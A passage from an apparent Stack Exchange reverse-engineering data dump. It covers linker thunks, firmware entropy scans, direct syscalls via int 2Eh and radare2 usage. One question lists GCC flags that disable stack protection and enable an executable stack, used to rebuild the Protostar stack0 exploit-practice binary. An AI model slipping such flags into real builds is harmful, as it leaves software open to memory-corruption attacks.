&amp;lt;JMP.&amp;amp;MSVCP140D.?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std&amp;gt;&#xA;00EE173A   . E9 EDE60000    JMP &amp;lt;JMP.&amp;amp;KERNEL32.FreeLibrary&amp;gt;&#xA;00EE173F   . E9 DCCF0000    JMP BinFile.00EEE720&#xA;00EE1744   . E9 FDAE0000    JMP &amp;lt;JMP.&amp;amp;MSVCP140D.?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@&amp;gt;&#xA;00EE1749   . E9 42E70000    JMP BinFile.00EEFE90&#xA;00EE174E   . E9 41AF0000    JMP &amp;lt;JMP.&amp;amp;MSVCP140D.?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBED&amp;gt;&#xA;00EE1753   . E9 28860000    JMP BinFile.00EE9D80&#xA;00EE1758   . E9 03C20000    JMP BinFile.00EED960&#xA;00EE175D   . E9 FEBF0000    JMP BinFile.00EED760&#xA;00EE1762   . E9 29CB0000    JMP BinFile.00EEE290&#xA;00EE1767   . E9 C4510000    JMP BinFile.00EE6930&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am reverse engineering a exe for a class assignment and I am trying to wrap my brain around what kind of code would produce this type of assembly code. I have been at it for a couple of days now. I am not looking for an exact answer, that would be helpful but more along the lines of how to go about solving reversing an exe like this. Thank you and help would be greatly appreciated. If anyone is wondering I am using OllyDB &lt;/p&gt;&#xA;" OwnerUserId="22559" LastActivityDate="2018-11-09T08:59:43.180" Title="What kind of code would produce this assemby with loads of jump statements?" Tags="|windows|assembly|dll|exe|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19850" PostTypeId="2" ParentId="19848" CreationDate="2018-11-08T09:59:41.563" Score="25" Body="&lt;p&gt;This looks like the output of Visual C++ linker in &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/reference/incremental-link-incrementally&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;incremental linking mode&lt;/em&gt;&lt;/a&gt;. In this mode, the linker adds a section with &lt;em&gt;incremental linking thunks&lt;/em&gt; (ILTs) at the start of the code section (&lt;code&gt;.text&lt;/code&gt;), each thunk being a relative jump (E9 xx xx xx xx) to a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All function calls in the binary are redirected to the corresponding ILT instead of pointing directly to the target function. In case of minor changes in the source code, this approach allows the linker to replace any function that has been updated and only patch the ILT jump to point to the new function body, without having to patch all the references to the function, speeding up the linking process significantly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incremental linking is on by default in debug builds.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-11-09T08:59:43.180" LastActivityDate="2018-11-09T08:59:43.180" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19851" PostTypeId="2" ParentId="19839" CreationDate="2018-11-08T11:24:25.507" Score="1" Body="&lt;p&gt;What you are describing is called &lt;code&gt;watchpoints&lt;/code&gt;/&lt;code&gt;memory breakpoints&lt;/code&gt;.&lt;br&gt;&#xA;Sadly, IDA doesn't let you place memory breakpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, you can implement those by changing the page protection and catching the page protection violation exception as described &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19317/monitor-all-changes-done-by-function/19318#19318&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8955/set-memory-breakpoing-on-access-on-a-section-in-ida&quot;&gt;here&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastActivityDate="2018-11-08T11:24:25.507" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19852" PostTypeId="1" CreationDate="2018-11-08T14:07:39.977" Score="-2" ViewCount="15311" Body="&lt;p&gt;I have a firmware image of LCD TV that I want to research. Basically I want to customize RGB color settings (from source code), Logo of TV ... Is it possible? I &lt;code&gt;binwalk&lt;/code&gt; to scan the file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk RDA_533.bin&#xA;&#xA;&#xA;&#xA; DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;&#xA; ------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No result :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -E RDA_533.bin&#xA;&#xA;&#xA;&#xA; DECIMAL       HEXADECIMAL     ENTROPY&#xA; --------------------------------------------------------------------------------&#xA;&#xA; 4096          0x1000          Rising entropy edge (0.950169)&#xA; 12288         0x3000          Rising entropy edge (0.950685)&#xA; 65536         0x10000         Falling entropy edge (0.794250)&#xA; 73728         0x12000         Rising entropy edge (0.984550)&#xA; 557056        0x88000         Falling entropy edge (0.789475)&#xA; 561152        0x89000         Rising entropy edge (0.994484)&#xA; 4317184       0x41E000        Falling entropy edge (0.717537)&#xA; 4321280       0x41F000        Rising entropy edge (0.993817)&#xA; 4337664       0x423000        Falling entropy edge (0.831574)&#xA; 4341760       0x424000        Rising entropy edge (0.969480)&#xA; 4358144       0x428000        Rising entropy edge (0.951280)&#xA; 4362240       0x429000        Falling entropy edge (0.841719)&#xA; 4366336       0x42A000        Rising entropy edge (0.986001)&#xA; 4370432       0x42B000        Falling entropy edge (0.845293)&#xA; 4374528       0x42C000        Rising entropy edge (0.975581)&#xA; 4407296       0x434000        Rising entropy edge (0.989225)&#xA; 4427776       0x439000        Rising entropy edge (0.994871)&#xA; 4460544       0x441000        Falling entropy edge (0.638917)&#xA; 7327744       0x6FD000        Rising entropy edge (0.993537)&#xA; 7335936       0x6FF000        Falling entropy edge (0.634517)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the result of &lt;a href=&quot;https://drive.google.com/open?id=1NZfeZT2-CWYcDrwUv02ddgpFZI2QD5p3&quot; rel=&quot;nofollow noreferrer&quot;&gt; Binwalk -I RDA_533.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is: &lt;a href=&quot;https://drive.google.com/open?id=1ue075GuBUPbUSjRinzjUBLDghVLsKRel&quot; rel=&quot;nofollow noreferrer&quot;&gt;.bin&lt;/a&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="26321" LastEditorUserId="18317" LastEditDate="2018-11-10T04:41:05.733" LastActivityDate="2022-06-07T00:40:02.970" Title="Extract data from firmware (.bin) file which is compressed or encrypted" Tags="|binary-analysis|firmware|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19853" PostTypeId="2" ParentId="19848" CreationDate="2018-11-08T14:19:30.160" Score="9" Body="&lt;p&gt;If they were all to external targets then it would be the stubs for external functions when dynamically loading dlls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can limit the amount of pages that need updating when a new dll get loaded. Which lets the calling code be position independent with regards to the call target. Calls to external function are sent to that page and forwarded to the actual function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the dll gets loaded (on startup, on delay load or explicitly) the page is filled in based on the virtual address. When a delay loaded function is called it is instead forwarded to a loading function which then forwards to the actual function.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastActivityDate="2018-11-08T14:19:30.160" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19854" PostTypeId="1" CreationDate="2018-11-08T14:38:32.970" Score="3" ViewCount="295" Body="&lt;p&gt;I have been looking into ntdll.dll on windows 10 x64 bit, and i noticed a check inside the ntdll like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AaBDw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AaBDw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after testing some bit, it tries to execute the system call via int 2eh. I have tried to manually create app and execute int 2Eh most naive way like this (visual studio + masm .asm file x64 bit project):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;int2e.asm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.code&#xA;_myNtWriteFile PROC&#xA;    mov r10,rcx&#xA;    mov eax,9&#xA;    int 2Eh&#xA;    ret&#xA;_myNtWriteFile ENDP&#xA;END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source.cpp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windos.h&amp;gt;&#xA;#include &amp;lt;winternl.h&amp;gt;&#xA;extern &quot;C&quot; NTSTATUS myNtWriteFile (HANDLE           FileHandle,&#xA;  HANDLE           Event,&#xA;  PIO_APC_ROUTINE  ApcRoutine,&#xA;  PVOID            ApcContext,&#xA;  PIO_STATUS_BLOCK IoStatusBlock,&#xA;  PVOID            Buffer,&#xA;  ULONG            Length,&#xA;  PLARGE_INTEGER   ByteOffset,&#xA;  PULONG           Key);&#xA;int main()&#xA;{&#xA;     HANDLE hFile = CreateFileA(&quot;1.txt&quot;,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);&#xA;&#xA;      if(hFile!=INVALID_HANDLE_VALUE)&#xA;      {&#xA;         CHAR lpszStr[] = &quot;Hello, World!&quot;;&#xA;         IO_STATUS_BLOCK pBlock = { 0 };&#xA;           NTSTATUS nStatus = myNtWriteFile(hFile,NULL,NULL,NULL,&amp;amp;pBlock,lpszStr,lstrlenA(lpszStr),0,0);&#xA;          CloseHandle(hFile);&#xA;      }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I always get access violation on int 2eh, so my questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is int 2eh is still supported even on latest x64 bit win 10?&#xA;Is the calling convention for this interrupt the same as for the syscall in x64 bit mode?&lt;/p&gt;&#xA;" OwnerUserId="26325" LastActivityDate="2018-11-08T14:38:32.970" Title="int 2eh instead of syscall/sysenter" Tags="|disassembly|windows|winapi|system-call|" AnswerCount="0" CommentCount="2" ClosedDate="2018-11-08T20:31:51.633" ContentLicense="CC BY-SA 4.0" />
  <row Id="19855" PostTypeId="2" ParentId="19852" CreationDate="2018-11-08T17:54:38.993" Score="3" Body="&lt;p&gt;Step 1: Entropy scan via &lt;code&gt;binwalk -E RDA-533.bin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VG6Is.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VG6Is.png&quot; alt=&quot;RDA_533.bin binwalk entropy scan&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2: Visualization via &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binvis.io&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DUXnP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DUXnP.png&quot; alt=&quot;entropy binvis&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wqT0G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wqT0G.png&quot; alt=&quot;entropy binvis 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion: file consists of multiple compressed or encrypted blocks interspersed with zeroes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: look for human-readable strings via &lt;code&gt;strings -n 9 RDA_533.bin &amp;gt; strings.txt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cat -9 strings.txt | tail&lt;/code&gt; shows us something interesting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat -n strings.txt |tail&#xA;   389  :c@W%lIQ9K&#xA;   390  &amp;gt;ZY#Z[$K    &#xA;   391  r5$!aVV}=&#xA;   392  ;=15ot:o,=&#xA;   393  :c@W%lIQ9K&#xA;   394  &amp;gt;ZY#Z[$K    &#xA;   395  r5$!aVV}=&#xA;   396  ;=15ot:o,=&#xA;   397  #codecrccheck&#xA;   398  0x586a7b76&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Step 4: look at a hex dump via &lt;code&gt;hexdump -C RDA_533.bin &amp;gt; hex.txt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cat hex.txt | tail&lt;/code&gt; shows us more about the interesting strings just discovered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat hex.txt | tail&#xA;00700070  c0 6a 49 6a 9a e3 06 25  c3 b5 9e 42 a9 a5 53 a0  |.jIj...%...B..S.|&#xA;00700080  c0 28 4d 4b 9a e3 06 25  c3 b5 9e 42 a9 a5 53 a0  |.(MK...%...B..S.|&#xA;*&#xA;007007f0  c0 28 4d 4b 9a e3 06 25  c3 b5 1c 43 a9 b5 17 12  |.(MK...%...C....|&#xA;00700800  5b 43 4f 44 45 5d 0a 23  63 6f 64 65 63 72 63 63  |[CODE].#codecrcc|&#xA;00700810  68 65 63 6b 0a 30 78 35  38 36 61 37 62 37 36 0a  |heck.0x586a7b76.|&#xA;00700820  0a 23 6d 6f 64 75 6c 65  0a 48 44 43 50 4b 65 79  |.#module.HDCPKey|&#xA;00700830  0a 0a 23 6d 6f 64 75 6c  65 0a 43 49 4b 65 79 0a  |..#module.CIKey.|&#xA;00700840  0a 23 45 4e 44 0a 00 00  4c 00 00 00              |.#END...L...|&#xA;0070084c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should be enough to get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://www.xilinx.com/support/documentation/ip_documentation/hdcp/v1_0/pg224-hdcp.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.xilinx.com/support/documentation/ip_documentation/hdcp/v1_0/pg224-hdcp.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-11-08T17:54:38.993" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19857" PostTypeId="1" CreationDate="2018-11-09T20:20:31.330" Score="1" ViewCount="97" Body="&lt;p&gt;I have two binary files, one of them is pulled from &lt;a href=&quot;https://www.vulnhub.com/entry/exploit-exercises-protostar-v2,32/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protostar's (&lt;code&gt;stack0&lt;/code&gt; example)&lt;/a&gt;. The other one I compiled (&lt;a href=&quot;http://liveoverflow.com/binary_hacking/protostar/stack0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;from source&lt;/a&gt;) with the latest version of GCC. The size difference is massive. My version is 11.5 Kb. The Protostar distributed version is 21.9 Kb. How would I get a high level overview to work towards an understanding of the massive difference in sizes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am compiling my version with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CFLAGS=-m32 -fno-stack-protector -std=c89 -fno-PIE -no-pie -mpreferred-stack-boundary=2 -fno-chkp-use-wrappers -D_FORTIFY_SOURCE=0 -fno-check-pointer-bounds -z execstack -z norelro -Os&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When I use Radare's show info with &lt;code&gt;i&lt;/code&gt; &lt;strong&gt;everything&lt;/strong&gt; is the same, except for the sizes.&lt;/li&gt;&#xA;&lt;li&gt;The main functions are both very similar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm just wondering what caused the original to be so much bigger. Is there an option or tool for something like &lt;code&gt;radiff2&lt;/code&gt; that can help me drill down to explain what my compiler is now doing differently than the compiler it was compiled with?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-11-09T21:49:39.393" LastActivityDate="2018-12-10T03:54:14.137" Title="Getting a high level overview of comparative size differences of binary files?" Tags="|binary-analysis|radare2|bin-diffing|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19858" PostTypeId="1" AcceptedAnswerId="19862" CreationDate="2018-11-09T21:13:16.413" Score="1" ViewCount="78" Body="&lt;p&gt;Radare2 has an option, &lt;code&gt;p-&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage: p-[hj] [nblocks]   bar|json|histogram blocks&#xA;| p-   show ascii-art bar of metadata in file boundaries&#xA;| p-h  show histogram analysis of metadata per block&#xA;| p-j  show json format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using it though, I get a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048340]&amp;gt; p-&#xA;0x8048000 [..______ssss_ss__s_ssssfss^fsffssffsffsfszz] 0x8048538&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;without a legend. What do these different symbols mean &lt;code&gt;f&lt;/code&gt;, &lt;code&gt;s&lt;/code&gt;, &lt;code&gt;z&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;, &lt;code&gt;.&lt;/code&gt;, and &lt;code&gt;^&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-11-10T00:15:08.410" Title="How do I read the &quot;ascii-art bar of metadata in file boundaries&quot;?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19859" PostTypeId="2" ParentId="19857" CreationDate="2018-11-09T22:24:19.867" Score="1" Body="&lt;p&gt;I'm not going to accept this answer, because likely someone else will tell me a better way to do it. But, browsing the site I saw an old picture of Radare that seemed to kind of do what I want with an &lt;code&gt;S=&lt;/code&gt; option. This is showing the breakdown by section. That seemed like a good place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AuSdv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AuSdv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out that's now really close to the &lt;a href=&quot;https://github.com/radare/radare2/issues/12111&quot; rel=&quot;nofollow noreferrer&quot;&gt;undocumented &lt;code&gt;iS=&lt;/code&gt; option&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using that on both binaries, I saw the difference &lt;strong&gt;really&lt;/strong&gt; quick,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; iS=&#xA;00  0x00000000 |--------------------------------------------------------------------------------------------------| 0x00000000     0 ---      &#xA;01  0x08048114 |-#------------------------------------------------------------------------------------------------| 0x08048127    19 r--  .interp&#xA;02  0x08048128 |-#------------------------------------------------------------------------------------------------| 0x08048148    32 r--  .note.ABI_tag&#xA;03  0x08048148 |-#------------------------------------------------------------------------------------------------| 0x0804816c    36 r--  .note.gnu.build_id&#xA;04  0x0804816c |-#------------------------------------------------------------------------------------------------| 0x08048198    44 r--  .hash&#xA;05  0x08048198 |-#------------------------------------------------------------------------------------------------| 0x080481b8    32 r--  .gnu.hash&#xA;06  0x080481b8 |-##-----------------------------------------------------------------------------------------------| 0x08048218    96 r--  .dynsym&#xA;07  0x08048218 |--#-----------------------------------------------------------------------------------------------| 0x08048267    79 r--  .dynstr&#xA;08  0x08048268 |--#-----------------------------------------------------------------------------------------------| 0x08048274    12 r--  .gnu.version&#xA;09  0x08048274 |--#-----------------------------------------------------------------------------------------------| 0x08048294    32 r--  .gnu.version_r&#xA;10  0x08048294 |--#-----------------------------------------------------------------------------------------------| 0x0804829c     8 r--  .rel.dyn&#xA;11  0x0804829c |--##----------------------------------------------------------------------------------------------| 0x080482bc    32 r--  .rel.plt&#xA;12  0x080482bc |---#----------------------------------------------------------------------------------------------| 0x080482ec    48 r-x  .init&#xA;13  0x080482ec |---#----------------------------------------------------------------------------------------------| 0x0804833c    80 r-x  .plt&#xA;14  0x08048340 |---###--------------------------------------------------------------------------------------------| 0x080484dc   412 r-x  .text&#xA;15  0x080484dc |-----#--------------------------------------------------------------------------------------------| 0x080484f8    28 r-x  .fini&#xA;16  0x080484f8 |-----#--------------------------------------------------------------------------------------------| 0x08048534    60 r--  .rodata&#xA;17  0x08048534 |-----#--------------------------------------------------------------------------------------------| 0x08048538     4 r--  .eh_frame&#xA;18  0x08049538 |-----#--------------------------------------------------------------------------------------------| 0x08049540     8 rw-  .ctors&#xA;19  0x08049540 |-----#--------------------------------------------------------------------------------------------| 0x08049548     8 rw-  .dtors&#xA;20  0x08049548 |-----#--------------------------------------------------------------------------------------------| 0x0804954c     4 rw-  .jcr&#xA;21  0x0804954c |-----##-------------------------------------------------------------------------------------------| 0x0804961c   208 rw-  .dynamic&#xA;22  0x0804961c |------#-------------------------------------------------------------------------------------------| 0x08049620     4 rw-  .got&#xA;23  0x08049620 |------#-------------------------------------------------------------------------------------------| 0x0804963c    28 rw-  .got.plt&#xA;24  0x0804963c |-------#------------------------------------------------------------------------------------------| 0x08049644     8 rw-  .data&#xA;25  0x08049644 |-------#------------------------------------------------------------------------------------------| 0x0804964c     0 rw-  .bss&#xA;26* 0x00000000 |-------############-------------------------------------------------------------------------------| 0x00000a68  2.6K ---  .stab&#xA;27* 0x00000000 |------------------###################################################################-------------| 0x00003a5c 14.6K ---  .stabstr&#xA;28* 0x00000000 |------------------------------------------------------------------------------------#-------------| 0x00000039    57 ---  .comment&#xA;29* 0x00000000 |------------------------------------------------------------------------------------##------------| 0x000000fd   253 ---  .shstrtab&#xA;30* 0x00000000 |-------------------------------------------------------------------------------------------#####--| 0x00000440    1K ---  .symtab&#xA;31* 0x00000000 |------------------------------------------------------------------------------------------------##| 0x0000020c   524 ---  .strtab&#xA;32  0x08048034 |##------------------------------------------------------------------------------------------------| 0x08048114   224 r-x  PHDR&#xA;33  0x08048114 |-#------------------------------------------------------------------------------------------------| 0x08048127    19 r--  INTERP&#xA;34  0x08048000 |######--------------------------------------------------------------------------------------------| 0x08048538  1.3K r-x  LOAD0&#xA;35  0x08049538 |-----###------------------------------------------------------------------------------------------| 0x0804964c   268 rw-  LOAD1&#xA;36  0x0804954c |-----##-------------------------------------------------------------------------------------------| 0x0804961c   208 rw-  DYNAMIC&#xA;37  0x08048128 |-#------------------------------------------------------------------------------------------------| 0x0804816c    68 r--  NOTE&#xA;38  0x00000000 |--------------------------------------------------------------------------------------------------| 0x00000000     0 rwx  GNU_STACK&#xA;39  0x08048000 |#-------------------------------------------------------------------------------------------------| 0x08048034    52 rw-  ehdr&#xA;=&amp;gt;  0x00000000 |^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| 0xffffffffffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That &lt;code&gt;.stabstr&lt;/code&gt; thing was &lt;strong&gt;huge.&lt;/strong&gt; &lt;a href=&quot;https://stackoverflow.com/a/8657396/124486&quot;&gt;I found this on Stack Overflow&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'd be surprised if the debugging format was stabs on either platform unless you had explicitly requested it with &lt;code&gt;-gstabs&lt;/code&gt; as an argument to gcc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I enabled that option and suddenly my new binary had one too, and it was pretty close in size to the old one.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-11-09T22:24:19.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19860" PostTypeId="1" CreationDate="2018-11-09T22:45:18.030" Score="0" ViewCount="116" Body="&lt;p&gt;From the &lt;a href=&quot;https://en.wikipedia.org/wiki/Stabs&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki on Stabs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;stabs (sometimes written STABS) is a debugging data format for storing information about computer programs for use by symbolic and source-level debuggers. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does Radare support this?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-11-10T06:54:24.240" Title="Does the Radare Debugger support STABS?" Tags="|radare2|debuggers|debugging-symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19862" PostTypeId="2" ParentId="19858" CreationDate="2018-11-10T00:15:08.410" Score="2" Body="&lt;p&gt;You could get that by looking at the source code &lt;a href=&quot;https://github.com/radare/radare2/blob/a0844ef2c3a2e2852e975634686f0eca4a447093/libr/core/cmd_print.c#L2559-L2588&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each caracter represent a different things that a block can contain. They are checked in order (so that it doesn't mean only one thing can be in any section) and each symbol marks the block that...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;^&lt;/code&gt; - you are in&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;z&lt;/code&gt; - has strings&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;s&lt;/code&gt; - has symbols&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;F&lt;/code&gt; - has functions starting in &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;c&lt;/code&gt; - has comments&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.&lt;/code&gt; - has flags&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;f&lt;/code&gt; - has functions partially in&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;_&lt;/code&gt; - has something else&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But I agree a legend would be helpful. Maybe this should be documented in &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2 book&lt;/a&gt; or &lt;code&gt;p-?&lt;/code&gt; should actually print the legend.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-11-10T00:15:08.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19863" PostTypeId="2" ParentId="18529" CreationDate="2018-11-10T01:22:05.423" Score="4" Body="&lt;p&gt;This is all documented in the ARM Architecture Procedure Call Standard (AAPCS) &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042f/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARM IHI0042&lt;/a&gt;.  There may be more recent versions.  The short version: R0-R3 are for passing arguments, R12 is a scratch register for procedure calls (linker things, etc) and everything else must be preserved by functions that use it.&lt;/p&gt;&#xA;" OwnerUserId="26354" LastEditorUserId="60" LastEditDate="2018-11-10T17:45:52.467" LastActivityDate="2018-11-10T17:45:52.467" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19864" PostTypeId="2" ParentId="19860" CreationDate="2018-11-10T06:54:24.240" Score="1" Body="&lt;p&gt;radare2 is not a source level debugger, thus there is no support for STABS. That said, you can always use &lt;code&gt;gdb&lt;/code&gt; as a backend for radare2 either by connecting radare2 to a running &lt;code&gt;gdb&lt;/code&gt; session or &lt;a href=&quot;https://radare.gitbooks.io/radare2book/debugger/remote_gdb.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;by using the &lt;code&gt;gdbserver&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;radare2 allows remote debugging over the gdb remote protocol. So you&#xA;  can run a gdbserver and connect to it with radare2 for remote&#xA;  debugging. The syntax for connecting is:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d gdb://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-11-10T06:54:24.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19865" PostTypeId="2" ParentId="18365" CreationDate="2018-11-10T13:39:33.983" Score="2" Body="&lt;p&gt;I usually add structs with unions to make the output slightly more readable when the compiler has reused a stack slot for different variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 7.2, it seems that you can force the decompiler to &lt;a href=&quot;https://www.hex-rays.com/products/ida/7.2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;create a new variable&quot;&lt;/a&gt;, which makes this easier and less ugly. Yay!&lt;/p&gt;&#xA;" OwnerUserId="18521" LastActivityDate="2018-11-10T13:39:33.983" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
